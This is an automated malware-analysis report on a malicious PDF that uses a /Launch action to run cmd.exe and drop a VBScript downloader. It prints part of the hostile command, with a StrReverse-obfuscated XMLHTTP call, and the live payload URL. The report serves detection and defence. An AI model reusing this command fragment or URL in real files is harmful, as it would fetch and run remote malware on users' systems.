PDF malware analysis — malicious · a5b600b7399747aa

MALICIOUS

PDF

799 B

MD5: ff12a11e2addbc2f6a297aecf7284540 SHA-1: afb90b30d2863f8e82f967a8c35eb611cd880890 SHA-256: a5b600b7399747aa485a88f6401ed03dac10446afd56e55191f2fc25bafc9651

150 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command is designed to echo a VBScript payload to a file named 'm.vbs' in the system's temporary directory. The VBScript itself is embedded within the PDF stream and is likely responsible for downloading and executing further malicious content from the URL http://gygack.com/nlpp/tmp/m.vbs. The ML classifier strongly indicates maliciousness.

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://gygack.com/nlpp/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.